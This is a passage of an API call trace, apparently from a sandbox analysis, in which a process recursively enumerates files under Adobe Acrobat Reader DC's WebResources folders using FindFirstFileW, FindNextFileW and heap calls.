ftCreationTime.dwLowDateTime=0xf088edfc, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf088edfc, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a58b2c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0263.757] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf088edfc, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf088edfc, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a58b2c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.757] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf08b505c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08b505c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08b505c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="bun.png", cAlternateFileName="")) returned 1 [0263.757] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf088edfc, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf088edfc, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf088edfc, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cstm_brand_preview.png", cAlternateFileName="CSTM_B~1.PNG")) returned 1 [0263.757] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf088edfc, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf088edfc, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08b505c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1233, dwReserved0=0x0, dwReserved1=0x0, cFileName="cstm_brand_preview2x.png", cAlternateFileName="CSTM_B~2.PNG")) returned 1 [0263.757] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a58b2c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a58b2c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a58b2c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x121, dwReserved0=0x0, dwReserved1=0x0, cFileName="dd_arrow_small.png", cAlternateFileName="DD_ARR~2.PNG")) returned 1 [0263.757] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf08b505c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08b505c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08b505c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x181, dwReserved0=0x0, dwReserved1=0x0, cFileName="dd_arrow_small2x.png", cAlternateFileName="DD_ARR~1.PNG")) returned 1 [0263.757] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf08b505c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08b505c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08b505c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="nub.png", cAlternateFileName="")) returned 1 [0263.757] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf08b505c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08b505c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08b505c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x33a, dwReserved0=0x0, dwReserved1=0x0, cFileName="sat_logo.png", cAlternateFileName="")) returned 1 [0263.757] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf08b505c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08b505c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08b505c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x622, dwReserved0=0x0, dwReserved1=0x0, cFileName="sat_logo_2x.png", cAlternateFileName="SAT_LO~1.PNG")) returned 1 [0263.757] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf088edfc, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf088edfc, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf088edfc, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x0, cFileName="share_icons.png", cAlternateFileName="SHARE_~1.PNG")) returned 1 [0263.758] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf08b505c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08b505c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08b505c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="share_icons2x.png", cAlternateFileName="SHARE_~2.PNG")) returned 1 [0263.758] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08b505c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08b505c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08b505c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0263.758] GetProcessHeap () returned 0xc10000 [0263.758] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0263.759] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\images\\themes\\*", lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08b505c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08b505c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08db299, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0263.760] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08b505c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08b505c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08db299, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.760] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08db299, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08db299, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08db299, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0263.760] GetProcessHeap () returned 0xc10000 [0263.760] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0263.760] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\images\\themes\\dark\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08db299, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08db299, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a58b2c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0263.834] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08db299, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08db299, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a58b2c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.834] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a58b2c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a58b2c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a58b2c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="bun.png", cAlternateFileName="")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf08db299, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08db299, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08db299, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cstm_brand_preview.png", cAlternateFileName="CSTM_B~1.PNG")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf08db299, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08db299, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a58b2c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1233, dwReserved0=0x0, dwReserved1=0x0, cFileName="cstm_brand_preview2x.png", cAlternateFileName="CSTM_B~2.PNG")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a58b2c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a58b2c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a58b2c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x121, dwReserved0=0x0, dwReserved1=0x0, cFileName="dd_arrow_small.png", cAlternateFileName="DD_ARR~2.PNG")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a58b2c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a58b2c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a58b2c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x181, dwReserved0=0x0, dwReserved1=0x0, cFileName="dd_arrow_small2x.png", cAlternateFileName="DD_ARR~1.PNG")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a58b2c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a58b2c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a58b2c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="nub.png", cAlternateFileName="")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a58b2c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a58b2c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a58b2c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x33a, dwReserved0=0x0, dwReserved1=0x0, cFileName="sat_logo.png", cAlternateFileName="")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a58b2c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a58b2c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a58b2c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x622, dwReserved0=0x0, dwReserved1=0x0, cFileName="sat_logo_2x.png", cAlternateFileName="SAT_LO~1.PNG")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf08db299, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08db299, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08db299, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x0, cFileName="share_icons.png", cAlternateFileName="SHARE_~1.PNG")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a58b2c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a58b2c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a58b2c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="share_icons2x.png", cAlternateFileName="SHARE_~2.PNG")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a58b2c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a58b2c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a58b2c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="share_icons2x.png", cAlternateFileName="SHARE_~2.PNG")) returned 0 [0263.836] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0263.837] GetProcessHeap () returned 0xc10000 [0263.837] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0263.837] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08db299, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08db299, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08db299, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0263.837] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0263.837] GetProcessHeap () returned 0xc10000 [0263.837] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0263.837] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08b505c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08b505c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08b505c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0 [0263.837] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0263.837] GetProcessHeap () returned 0xc10000 [0263.837] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0263.839] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0263.839] GetProcessHeap () returned 0xc10000 [0263.839] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0263.840] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0263.844] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.844] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="home-view", cAlternateFileName="HOME-V~1")) returned 1 [0263.844] GetProcessHeap () returned 0xc10000 [0263.844] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0263.845] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\home-view\\*", lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0263.846] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.846] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2d159, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0263.846] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4645, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0263.846] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4645, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 0 [0263.846] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0263.846] GetProcessHeap () returned 0xc10000 [0263.846] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0263.846] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0263.846] GetProcessHeap () returned 0xc10000 [0263.846] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0263.846] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\*", lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, 